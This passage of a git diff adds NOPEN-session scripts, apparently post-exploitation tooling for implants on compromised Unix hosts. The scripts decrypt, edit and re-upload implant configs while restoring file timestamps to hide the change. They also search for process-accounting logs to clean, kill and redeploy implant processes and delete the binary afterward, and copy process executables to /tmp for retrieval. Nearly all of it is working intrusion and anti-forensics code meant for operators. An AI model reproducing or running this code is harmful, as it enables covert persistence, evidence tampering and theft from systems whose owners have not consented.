vi + $opdown/$configfile.txt.$nopen_rhostname") ; +chomp($postsum = `sum $opdown/$configfile.txt.$nopen_rhostname`) ; +if ($presum eq $postsum) { + progprint("${COLOR_NOTE}\nTo encrypt a modified $configfile.txt file as $opdown/$configfile.encr.$nopen_rhostname,\n". + "use the following locally:\n\n". + "$encr -e -c $keystr -i $opdown/$configfile.txt.$nopen_rhostname -o $opdown/$configfile.encr.$nopen_rhostname 2>&1\n"); + mydie("Aborting edit -- $opdown/$configfile.txt.$nopen_rhostname was not changed.") ; +} +$printlater= + "${COLOR_NOTE}\nEncrypting just saved version as $opdown/$configfile.encr.$nopen_rhostname with:\n\n". + "$encr -e -c $keystr -i $opdown/$configfile.txt.$nopen_rhostname -o $opdown/$configfile.encr.$nopen_rhostname 2>&1\n". + `$encr -e -c $keystr -i $opdown/$configfile.txt.$nopen_rhostname -o $opdown/$configfile.encr.$nopen_rhostname 2>&1`. + `ls -al $opdown/$configfile.*.$nopen_rhostname | cut -c 1-9,34-999` ; +$nohist = "-nohist "; + +$dowhat = + "$nohist\t-put $opdown/$configfile.encr.$nopen_rhostname ../../../../../tmp/.k\n\n". + "$nohist\tcat ../../../../../tmp/.k > $upfile\n". + "$nohist\t".$touchlines[0]."\n". + "$nohist\t".$touchlines[1]."\n". + "$nohist\t-rm ../../../../../tmp/.k\n\n" ; +unless ($justdoit) { + progprint($printlater. + "${COLOR_NORMAL}\n\n". + "# Now upload it if you want (paste in all of the following lines):\n". + "$COLOR_FAILURE\n". + "$dowhat\n". + "$nohist${COLOR_NORMAL}# And then you will need to reset $KEYNAME:\n". + "$COLOR_FAILURE\n". + "$nohist\tmount /\n" + ); +} else { + progprint($printlater); + doit("-put $opdown/$configfile.encr.$nopen_rhostname ../../../../../tmp/.k", + "cat ../../../../../tmp/.k > $upfile", + @touchlines, + "-rm ../../../../../tmp/.k" + ); +} +} +# End with true value as we require this script elsewhere. +1; +#ENDMAIN + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + $skiprest = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs orcheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $progname = "orcheck"; + $prog = "-gs $progname"; + } + ## BEGIN differences between this and other similar + $keyname = "orangutan"; + $KEYNAME = uc $keyname; + $type="OR"; + $cvtag="CONFIG_KEYS"; + $configfile="kadb"; + @encrbin = ("encr.Linux","encr"); + ## END differences between this and other similar + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext=" +Usage: $prog [-i | [-e|edit [-D|justdoit] ] ] + +OPTIONS + + -i Ignore all $configfile.### files--only process \"$configfile\". + +$prog calls $opetc/auto$progname, which downloads the system's +$configfile file and unpacks it locally if possible, showing its contents +($configfile is the $type config file). + +In edit mode, it does the same and then pops up a vi window to edit the +contents. Once you exit vi, the modified file is re-packed and you are +provided with pastables to upload and re-read the new configuration. + +When editing, if the -D (or \"justdoit\") argument is given, then the +modified file is re-packed and uploaded automatically after quitting vi. + +"; + mydie("bad option(s)") if (! Getopts( "hveDi" ) ) ; + usage() if ($opt_h or $opt_v) ; + while (@ARGV) { + if ($ARGV[0] eq "edit" or $ARGV[0] eq "-e") { + $opt_e = 1 ; + } + if ($ARGV[0] eq "justdoit" or $ARGV[0] eq "-D") { + $opt_D = 1 ; + } + shift(@ARGV); + } + $editalso = "edit" if $opt_e ; + $justdoit = "justdoit" if $opt_D ; + $ignoreold = "-i" if $opt_i ; + my $chunks=0; + foreach (@ARGV) { + if (/^[\da-f]+$/i ) { + $keystr .= "$_ " ; + $chunks++; + } + } + chop($keystr); + $overridekeystr = $keystr ; + $overridekeystr = "" unless $chunks == 3 ; + # find the local encr binary + foreach $f (@encrbin) { + chomp($encr = `which $f 2>/dev/null`); + last if $encr; + } + mydie("Must have one of these in path: @encrbin") unless $encr; + mydie("This NOPEN client version ($nopen_clientver) is too old to use $prog") + if ((verval($nopen_clientver))[1] < (verval("3.0.3.0"))[1]); + $upfile = "/platform/SUNW,SystemEngine/$configfile"; + if ($nopen_serverinfo =~ /i\S*86/i) { + $upfile = "/platform/dvri86pc/$configfile"; + } + $updir = dirname $upfile ; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autopacct b/Linux/etc/autopacct new file mode 100755 index 0000000..fe96bfb --- /dev/null +++ b/Linux/etc/autopacct @@ -0,0 +1,102 @@ +#!/usr/bin/env python +VERSION = '1.0.0.2' + +import os +import sys +import shlex +import traceback +import time + +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +class autopacct: + + def __init__(self): + + self.version = VERSION + self.nopen = autoutils.autoutils() + self.parser = self.get_arg_parser() + self.nopen.connect() + + def main(self, argv): + + opts, args = self.nopen.parseArgs(self.parser, argv[1:]) + + if opts.v: + self.print_version(argv[0]) + return + + atopVersion = [] + # connect to autoport after parse args + if not self.nopen.connected: + self.nopen.connect() + + OS = self.nopen.nopen_serverinfo + OS = OS.upper() + + if "IRIX" in OS: + self.nopen.doprint(self.nopen.COLOR_FAILURE, "WARNING!! NO PROCESS ACCOUNTING CHECK for %s" % self.nopen.nopen_serverinfo) + else: + self.nopen.doprint(self.nopen.COLOR_NORMAL, "This is a %s machine, checking standard log locations now..." % self.nopen.nopen_serverinfo) + adm_systems = ["AIX","BSDI","FREEBSD","HPUX","HP-UX","MIRAPOINT","OSF1","SCO_SV","SOLARIS","UNIX_SV"] + log_systems = ["LINUX","BSD","DARWIN","JUNOS"] + if "OPENBSD" in OS: + output, nopenlines, outputlines = self.nopen.doit("-ls -t /var/account /var/*acc* /var/log/account/*acct*") + elif any(item in OS for item in adm_systems): + output, nopenlines, outputlines = self.nopen.doit("-ls -t /var/adm/*acct* /var/*acc* /var/log/account/*acct*") + elif any(item in OS for item in log_systems): + output, nopenlines, outputlines = self.nopen.doit("-ls -t /var/log/*acct* /var/*acc* /var/log/account/*acct*") + else: + self.nopen.doprint(self.nopen.COLOR_FAILURE, "Oops, this OS is not recognized:\n\n%s\n\n" % self.nopen.nopen_serverinfo) + + time.sleep(5) + + self.nopen.doprint(self.nopen.COLOR_NORMAL, "Checking for ATOP pacct logs now...") + output, nopenlines, outputlines = self.nopen.doit("-ls -t /tmp/atop.d/") + if len(outputlines) == 0: + self.nopen.doprint(self.nopen.COLOR_FAILURE, "DONE: ATOP pacct likely not on target") + else: + output, nopenlines, outputlines = self.nopen.doit("-gs getstrings /usr/bin/atop") + output, nopenlines, atopVersion = self.nopen.doit("-lsh grep Revision /current/down/*/usr/bin/atop.strings") + if atopVersion == 1.24: + print "ATOP Accounting is on this target, you'll need to use CURVESULFA v1.0.0.0" + elif atopVersion == 1.25: + print "ATOP Accounting is on this target, you'll need to use CURVESULFA v1.1.0.0" + elif atopVersion == 1.27: + print "ATOP Accounting is on this target, you'll need to use CURVESULFA v1.1.0.1" + else: + print "There is no CURVESULFA available to clean this revision of atop: %s" % atopVersion + return self.nopen.finish() + + def get_arg_parser(self): + + epilog = '\n-gs pacct version %s\n' % self.version + + help_detail = "-gs pacct merely checks for the standard locations for process accounting and atop accounting." + parser = OptParser(usage='usage: -gs pacct\n\n%s' % help_detail, epilog=epilog) + parser.add_option('-v', dest='v', action='store_true', help='Show version and exit.') + + return parser + + def print_version(self,prog): + + script_name = os.path.basename(prog) + if script_name.startswith('auto'): + script_name = script_name.split('auto',1)[1] + self.nopen.doprint('-gs %s version %s' % (script_name, self.version)) + + +if __name__ == '__main__': + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autopacct().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autopanic b/Linux/etc/autopanic new file mode 100755 index 0000000..9f8c441 --- /dev/null +++ b/Linux/etc/autopanic @@ -0,0 +1,138 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.2" ; +# nopen seems happier with stderr in lsh runs +# or does it? Took it out now... +#select STDERR ; +$| = 1 ; +my $batchmode=0; +my $yesdownloadall=0; +myinit(); + +sub findpanics { + my @filestoget = (); + my $paniclist = "$opdown/panicfiles.$nopen_rhostname"; + open(PANICLIST, "> $paniclist") or mydie("Can't open listing of panic files: $!"); + + # All that old code - gone!! All hail nopenlss()! + ($panicfiles,$nopenlines,@panicfiles) = nopenlss("-UFQZR",@dirs); + my (@filelisting) = grep m, /.*\/.*$, , split(/\n+/,$panicfiles); + foreach $entry (@filelisting) { + if ($entry =~ m, (/.*\/.*$),) { + # Grep for the desired string in each file. + my $file = $1; + dbg("in autopanic findpanics, got filename =$file="); + ($panics,$nopenlines,@panics) = doit("-grep -n \"$string\" $file"); + if (grep {/(\d+):.*$string.*$/} @panics) { + dbg("in autopanic findpanics, found our string =$string= in =$file="); + push(@filestoget,$file); + select PANICLIST; + print "$file\n"; + select STDOUT; + } + } + } + + # More old code - gone! + if (($yesdownloadall or $batchmode) and scalar @filestoget) { + my $args = "-UFQzrZRG"; + $args .= "Y" if $batchmode; + nopenlss($args,"-M20000000",@filestoget); + } + else { + progprint("No panics were found in any of the following files:${COLOR_NORMAL}\n\n$panicfiles\n") unless $batchmode; + } + + if (-e "$opdown/dmesg.$nopen_rhostname") { + # Get the panics from dmesg too. + ($dmesgpanics,$nopenlines,@dmesgpanics) = doit("-lsh -nohist grep -l \"$string\" $opdown/dmesg.$nopen_rhostname 2>/dev/null"); + if (grep {/(\d+):.*$string.*$/} @dmesgpanics) { + select PANICLIST; + print "$opdown/dmesg.$nopen_rhostname\n"; + select STDOUT; + } + } + close(PANICLIST); + return 1; +} + +findpanics(); + +# End with true value as we require this script elsewhere. +1; +#ENDMAIN + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs panic @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs panic"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs panic\" is used. + +"; + $gsusagetext=" +Usage: -gs panic [options] [ string ] [ DIR1 [ DIR2 ... ] ] + +-gs panic calls $opetc/autopanic [ string ] [ DIR1 [ DIR2 ... ] ]. + +\"string\" defaults to \"panic\" and must not begin with \"/\" or +contain any quotes or escaped characters. + +Directories examined will be /var/adm and /var/log unless DIR# +argument(s) are provided, which must begin with \"/\". $prog uses +-grep to determine which files in DIR* contain the string and then +downloads those files with -lss -G. + +OPTIONS + + -h print this usage statement + -v print the version + -n do not download files that match (and do not prompt) + -y DO DOWNLOAD files that match (and prompt for each file) + -b DO DOWNLOAD files that match (and do not prompt) + +"; + + mydie("bad option(s)") if (! Getopts( "hvnyb" ) ) ; + usage() if ($opt_h or $opt_v) ; + $string = "panic" ; + if (length($ARGV[0]) and !(substr($ARGV[0],0,1) eq "/")) { + $string = $ARGV[0]; + shift(@ARGV) ; + } + foreach (@ARGV) { + push(@dirs,$_) if (substr($ARGV[0],0,1) eq "/") ; + } + @dirs = ("/var/log","/var/adm") unless @dirs ; + $yesdownloadall = $opt_y; + $batchmode = $opt_b; + $opt_y = "-y" if $opt_y; + $opt_n = "-n" if $opt_n; + $opt_b = "-b" if $opt_b; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autopccheck b/Linux/etc/autopccheck new file mode 100755 index 0000000..52bc49a --- /dev/null +++ b/Linux/etc/autopccheck @@ -0,0 +1,283 @@ +#!/usr/bin/env perl +#use File::Basename qw(basename dirname); +use File::Basename ; +## +#TODO: use itime if available? +$VER="1.0.2.2" ; +myinit() ; +# we -ls these in this order so the $upfile ls does not "access" the $updir atime +($output,$nopenlines,@output) = doit("-ls -nd $updir $upfile"); +if ($output[1] =~ m,$upfile$, and + $output[0] =~ m,$updir$,) { + # Need these in reverse order + @touchlines = ($output[1],$output[0]); +} elsif (!($calledviarequire)) { + mydie("Invalid format of previous -ls -nd line...cannot continue.\n". + "Is $KEYNAME even there?"); +} else { + progprint("${COLOR_NOTE}Invalid format of previous -ls -nd line...cannot continue.\n${COLOR_NORMAL}Is $KEYNAME even there?"); + $skiprest=1; +} + +dopccheck() unless $skiprest; + +sub dopccheck() { +doit("-get -q $upfile",@touchlines); +@keyfiles = split(/\n/,`find $opbin/varkeys -type f 2>/dev/null | grep "/$nopen_hostonly.*_$nopen_ip\/.*$keyname"`); +unless (@keyfiles) { + # None yet, maybe look by IP? + @keyfiles = split(/\n/,`find $opbin/varkeys -type f 2>/dev/null | grep _$nopen_ip\/.*$keyname`); +} +unless (@keyfiles) { + # None yet, maybe look by hostname? Could find too many so don't bother doing + # if we found one via the IP. + @keyfiles = split(/\n/,`find $opbin/varkeys -type f 2>/dev/null | grep "/$nopen_hostonly.*\/.*$keyname"`) + if $nopen_hostonly; +} +push(@keyfiles,"$opup/.keys") if (-e "$opup/.keys") ; +unless ($overridekeystr) { + foreach $keyfile (@keyfiles) { + next unless (open(KEYIN,"< $keyfile")) ; + my $gotkey = 0 ; + $header = "" ; + while () { + if ($keyfile eq "$opup/.keys") { + $gotkey++ if (/$KEYNAME/) ; + next unless $gotkey; + $header .= $_ ; + next unless (/^([\da-f]+ [\da-f]+ [\da-f]+)/) ; + $keystr = $1 ; + last ; + } else { + $header .= $_ ; + next if /^\s*\#/ ; + next unless /$cvtag=\"([\da-f]+ [\da-f]+ [\da-f]+)\"/i ; + $keystr = $1 ; + } + } + close(KEYIN); + chomp($header) ; + $header{$keystr} .= $header ; + $keyfile{$keystr} .= "\nAND ALSO\n" if $keyfile{$keystr} ; + $keyfile{$keystr} .= $keyfile ; + } + progprint("++++++++++No $type keys found in ../bin/varkeys for $nopen_rhostname or $opup/.keys",$COLOR_FAILURE) + unless (keys %header) ; +} else { + $header{$overridekeystr} = "\nkey manually input: $keystr\n"; +} +my $justconfig = "-name $configfile" if ($editalso or $ignoreold) ; +@configfiles = split(/\n/,`find $opdown/$nopen_rhostname -type f $justconfig 2>/dev/null | grep $configfile`); +if (! @configfiles) { + mywarn("++++++++++No $configfile files found in ../down/$nopen_rhostname"); +} +my $outfirst = "" ; +my $outlast = "" ; +my $goodresult = "" ; +my $mostrecentresult = "" ; +foreach $configfile (@configfiles) { + my $configname = basename $configfile; + my $output = "" ; + my ($uniqsum) = (split(/\s+/,`sum $configfile`))[0] ; + # Skip this file if same content already done + next if ($doneit{$uniqsum}++) ; + my $mostrecent = !($configfile =~ /\d{3}$/) ; + foreach $keystr (keys %header) { + $result = `$encr -d $configfile -c $keystr |tee /tmp/$configname`; + chomp(my $asciitest = `file /tmp/$configname | grep -il ascii`) ; + unlink("/tmp/$configfile"); + $output .= "+\n\n++++++++++KEYFILE:\n$keyfile{$keystr}:$COLOR_NOTE\n$header{$keystr}"; + if ($result =~ /ERROR : not ascii/ or !$asciitest) { + $result = "" ; + $output .= "$COLOR_FAILURE\n++++++++++FAILS\a" ; + $colon = ""; + } else { + $output .= "$COLOR_SUCCESS\n++++++++++WORKS" ; + $colon = ":"; + print OUT2 "$keystr\n" if (open(OUT2,"> $opup/.keystr.$nopen_rhostname")) ; + close(OUT2); + } + $output .= "$COLOR_NORMAL on$COLOR_NOTE $configfile$colon\n\n$COLOR_NORMAL"; + if ($result) { + $output .= "==========\n${result}==========\n$COLOR_NORMAL"; + # $goodresult ends up the final .### one that works + $goodresult = $result ; + $mostrecentresult = $result if $mostrecent ; + } + } + if ($mostrecent) { + $outlast .= $output ; + } else { + $outfirst .= $output ; + } +}#foreach $configfile +if ($goodresult) { + if (open(OUT2,"> $opdown/$configfile.txt.$nopen_rhostname")) { + print OUT2 $goodresult ; + close(OUT2) ; + progprint($outfirst. + $outlast. + "${COLOR_FAILURE}\n\n". + "Edit it using the popped up \"vi\" window, then save and exit.\n". + "$COLOR_NORMAL") + if $editalso; + } else { + mydie("Unable to open > $opdown/$configfile.txt.$nopen_rhostname"); + } +} +# We print and die unless we are also editing +unless ($editalso) { + progprint($outfirst . $outlast) ; + return 1; +} +if (! -e "$opup/.keystr.$nopen_rhostname") { + mydie("Cannot proceed with edit--no valid key found during second pass of $prog"); +} elsif (open(KEYIN,"< $opup/.keystr.$nopen_rhostname")) { + chomp($keystr = ) ; + close(KEYIN) ; +} else { + mydie("Cannot read key (which just worked) from $opup/.keystr.$nopen_rhostname"); +} +chomp($presum = `sum $opdown/$configfile.txt.$nopen_rhostname`) ; +system("xterm -geometry 142x27+335+0 -title \"$configfile.txt.$nopen_rhostname editor\" -e vi + $opdown/$configfile.txt.$nopen_rhostname") ; +chomp($postsum = `sum $opdown/$configfile.txt.$nopen_rhostname`) ; +if ($presum eq $postsum) { + progprint("${COLOR_NOTE}\nTo encrypt a modified $configfile.txt file as $opdown/$configfile.encr.$nopen_rhostname,\n". + "use the following locally:\n\n". + "$encr -e $opdown/$configfile.txt.$nopen_rhostname -c $keystr -o $opdown/$configfile.encr.$nopen_rhostname 2>&1\n"); + progprint("${COLOR_FAILURE}Aborting edit -- $opdown/$configfile.txt.$nopen_rhostname was not changed.${COLOR_NORMAL}") ; +} +$printlater= + "${COLOR_NOTE}\nEncrypting just saved version as $opdown/$configfile.encr.$nopen_rhostname with:\n\n". + "$encr -o $opdown/$configfile.encr.$nopen_rhostname -e $opdown/$configfile.txt.$nopen_rhostname -c $keystr 2>&1\n". + `$encr -o $opdown/$configfile.encr.$nopen_rhostname -e $opdown/$configfile.txt.$nopen_rhostname -c $keystr 2>&1`. + `ls -al $opdown/$configfile.*.$nopen_rhostname | cut -c 1-9,34-999` ; +$nohist = "-nohist "; + +$dowhat = + "$nohist\t-put $opdown/$configfile.encr.$nopen_rhostname ../../../../../tmp/.k\n\n". + "$nohist\tcat ../../../../../tmp/.k > $upfile\n". + "$nohist\t".$touchlines[0]."\n". + "$nohist\t".$touchlines[1]."\n". + "$nohist\t-rm ../../../../../tmp/.k\n\n" ; +unless ($justdoit) { + progprint($printlater. + "${COLOR_NORMAL}\n\n". + "# Now upload it if you want (paste in all of the following lines):\n". + "$COLOR_FAILURE\n". + "$dowhat\n" + ); +} else { + progprint($printlater); + doit("-put $opdown/$configfile.encr.$nopen_rhostname ../../../../../tmp/.k", + "cat ../../../../../tmp/.k > $upfile", + @touchlines, + "-rm ../../../../../tmp/.k" + ); +} +} #dopccheck + +# End with true value as we require this script elsewhere. +1; +#ENDMAIN + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + $skiprest = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs pccheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs pccheck"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $keyname = "patchicillin"; + $KEYNAME = uc $keyname; + $type="PC"; + $cvtag = " CV"; + $configfile="ufsboot"; + @encrbin = ("encr.LINUX","encr.PC"); + ## END differences between this and other similar + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext=" +Usage: $prog [-i | [-e|edit [-D|justdoit] ] ] + +OPTIONS + + -i Ignore all $configfile.### files--only process \"$configfile\". + +$prog calls $opetc/auto$proganme, which downloads the system's +$configfile file and unpacks it locally if possible, showing its contents +($configfile is the $type config file). + +In edit mode, it does the same and then pops up a vi window to edit the +contents. Once you exit vi, the modified file is re-packed and you are +provided with pastables to upload and re-read the new configuration. + +When editing, if the -D (or \"justdoit\") argument is given, then the +modified file is re-packed and uploaded automatically after quitting vi. + +"; + mydie("bad option(s)") if (! Getopts( "hveDi" ) ) ; + usage() if ($opt_h or $opt_v) ; + while (@ARGV) { + if ($ARGV[0] eq "edit" or $ARGV[0] eq "-e") { + $opt_e = 1 ; + } + if ($ARGV[0] eq "justdoit" or $ARGV[0] eq "-D") { + $opt_D = 1 ; + } + shift(@ARGV); + } + $editalso = "edit" if $opt_e ; + $justdoit = "justdoit" if $opt_D ; + $ignoreold = "-i" if $opt_i ; + my $chunks=0; + foreach (@ARGV) { + if (/^[\da-f]+$/i ) { + $keystr .= "$_ " ; + $chunks++; + } + } + chop($keystr); + $overridekeystr = $keystr ; + $overridekeystr = "" unless $chunks == 3 ; + # find the local encr binary + foreach $f (@encrbin) { + chomp($encr = `which $f 2>/dev/null`); + last if $encr; + } + mydie("Must have one of these in path: @encrbin") unless $encr; + mydie("This NOPEN client version ($nopen_clientver) is too old to use $prog") + if ((verval($nopen_clientver))[1] < (verval("3.0.3.0"))[1]); + $upfile = "/platform/SUNW,SystemEngine/$configfile"; + if ($nopen_serverinfo =~ /i\S*86/i) { + $upfile = "/platform/dvri86pc/$configfile"; + } + $updir = dirname $upfile ; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autopidsum b/Linux/etc/autopidsum new file mode 100755 index 0000000..b8474c2 --- /dev/null +++ b/Linux/etc/autopidsum @@ -0,0 +1,147 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.2"; + +$| = 1 ; + +myinit() ; + +pidsum($sumtype,$killifgreen,$deploy,$deployas,$uploadbin,@ARGV); + +# Called via do so must end with 1; +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs pidsum @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: pidsum(@ARGV)"; + dbg("via require autopidsum ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); +# progprint("$prog called -gs pidsum @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs pidsum"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "hvCdka:Of:" ) ) ; + + ########################################################################### + # Set strings used in usage before calling it + ########################################################################### + + $sumtype = "-sha1sum"; + $sumtype = "-cksum" if $opt_C; + $killifgreen = $opt_k; + $deploy = $opt_d; + $deployas = $opt_a; + $safetyoverride = $opt_O; + $uploadbin = $opt_f; + + +# my $half = int(@functionlist/2); +# for (my $i=0; $i < $half; $i++) { +# $functionlist .= sprintf(" %-35s %s\n",$functionlist[$i],$functionlist[$i+$half]); +# } +# $functionlist .= sprintf(" %-35s %s\n","",$functionlist[$#functionlist]) +# unless (@functionlist % 2); + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + #@pids = grep /^\d+$/ , @ARGV; + #@errs = grep ! /^\d+$/ , @ARGV; + + usage() if ($opt_h or $opt_v or !@ARGV or @errs); + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + + + $deployas = $opt_a; + if (!$opt_a and @ARGV == 1 and $ARGV[0] !~ /^\d+$/) { + $deployas = $ARGV[0]; + } + + $socket = pilotstart(quiet) unless $socket; + + ## ERROR CHECKING OF OPTS + + ($output,undef,@output) = doit("-ls /proc"); + my @test = grep m,/\d+$, , @output ; + mydie("/proc must exist") unless @test; +} + +sub setusagetexts { + # Separate long usage strings as separate function + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=pidsum\" is used. + +"; + $gsusagetext=" +Usage: $prog [OPTIONS] PID-OR-NAME1 [PID-OR-NAME2 ...] + +$prog uses the copy of one or more running PIDs or NAMEs in /proc to +compute its SHA1 checksum, which comes up green if it is a known tool +in $opetc/sha1sums (or $opetc/cksums if -C is used). + +If a NAME is provided, then after ignoring lines containing \"grep\", $prog +computes the checksum of any matching process. + +Keep in mind that any binary that changes from its original may not have its +original checksum and so our tools may not always be green. E.g.: + DABBLETABLOID SHABBYTABBY + NOPEN + +$prog requires an OS with /proc, e.g. Linux or Solaris. + +If a running process is found in /proc as matching any of the following, the +-k and -d options may be used (normally together as -kd): + WATCHER + +OPTIONS + + -h/v Show usage / version information + -a RUNAS When deploying, use RUNAS as the binary name. Defaults to + the previously running name if -k is used. + -C Use -cksum instead of the default -sha1sum + -d Deploy (or redeploy after successfully killing with -k), + removing the binary once it is running. Will be run + with: PATH=.:\$PATH RUNAS + -f FILE Upload FILE (unless the pid killed with -k matches it already) + -k Kill the pid if the checksum matches our tool + -O Safety Override - kill PIDs even if not our tool + +NOTE: For now, -d is expected to only be used with WATCHER. + +NOTE: When deploying, only the DEPLOY is logged, even if we first kill + (REMOVE) the tool. + +Usage: $prog [OPTIONS] + +"; +}#setusagetexts diff --git a/Linux/etc/autopinfo b/Linux/etc/autopinfo new file mode 100755 index 0000000..cfcb262 --- /dev/null +++ b/Linux/etc/autopinfo @@ -0,0 +1,346 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.3"; +##TODO: +##Heuristics, show abnormal settings/processes +##Compare running process with on disk exe +##Handle multi runs of strace with the same time +##so the data doesn't get overwritten + + +$| = 1 ; +myinit() ; + +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus(force); + + +#saving off times to setback after script calls them +($output,$nopenlines,@output) = nopenlss("-UPQ","strace","kill","pgrep","cat","echo","tr","cp"); +mydie("Missing required for $prog") if (@output =~ /(cat|tr|echo|strace|kill|pgrep|cp){7,}/); +my $list = ""; +foreach (@output) { + my $file = ""; + $file = $2 if + (m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*), or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*), or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*),); + #still need to fix this so awk will be captured and touch properly... + next if $file =~ /-/; + $list .= " $file" if $file; +} +($output,$nopenlines,@touchlines) = doit("-ls -n$list"); + + +pid_info() if (!$pskip); +strace_pid() if ($trace); +get_exe() if ($getexe); + +doit(@touchlines); + +filepopup("$opdown/strace.$pinfopid.$ttime.$nopen_rhostname", + "-geometry 208x28+0+26 -title \"strace.$pinfopid.$ttime.$nopen_rhostname\"" + ) if (-e "$opdown/strace.$pinfopid.$ttime.$nopen_rhostname" && $pid_info_done); +filepopup("$opdown/$prog.$pinfopid.$nopen_rhostname", + "-geometry 208x28+1-26 -title \"$prog $prog.$pinfopid.$nopen_rhostname\"" + ) if (-e "$opdown/$prog.$pinfopid.$nopen_rhostname" && $strace_pid_done); + +$filepastable = " +$prog complete. +Process Info: $opdown/$prog.$pinfopid.$nopen_rhostname +strace: $opdown/strace.$pinfopid.$ttime.$nopen_rhostname +exe: $opdown/$nopen_rhostname$ptmpfile"; +dolocalecho("$filepastable"); + + +# Called via do so must end with 1; +1; + +sub get_exe { + + #TODO: + #cksum on /proc/pid/exe and its target/ps path + #string info from exe + #find a better way to pull exe out of proc + + #This return is really unnessecary since it + #would not pull back the exe of every process + #only the one given with -p PID - but serves + #as a decent warning to the user. + if ($processall) { + return mywarn("Will not get exe with -a"); + } + ; + + ($output,$nopenlines,@output) = doit("-ls /proc/$pinfopid/exe"); + dbg("in $prog, got line =$output="); + unless ($output =~ /^.*\s+(\d+)\s\D.*\s(\S+)\s-.*/) { + mydie("Unable to locate entry in /proc pid $pinfopid - bailing!"); + } + my $srcbin = "/proc/$pinfopid/exe"; + + #check copy path, copy file to tmp, pullback, etc.. + # Make sure $ptmpfile not there already + $ptmpfile = "/tmp/.$pinfopid"; + while (1) { + my ($output) = doit("-ls $ptmpfile"); + last if (length $output < 3); + $ptmpfile .= $$; + } + my $dotptmpfile = dotdotpathforfile($ptmpfile); + + doit("cp $srcbin $ptmpfile", + "-get $ptmpfile", + "-rm $dotptmpfile", + ); + $get_exe_done = 1; +} + +sub strace_pid { + + my $stoutput = 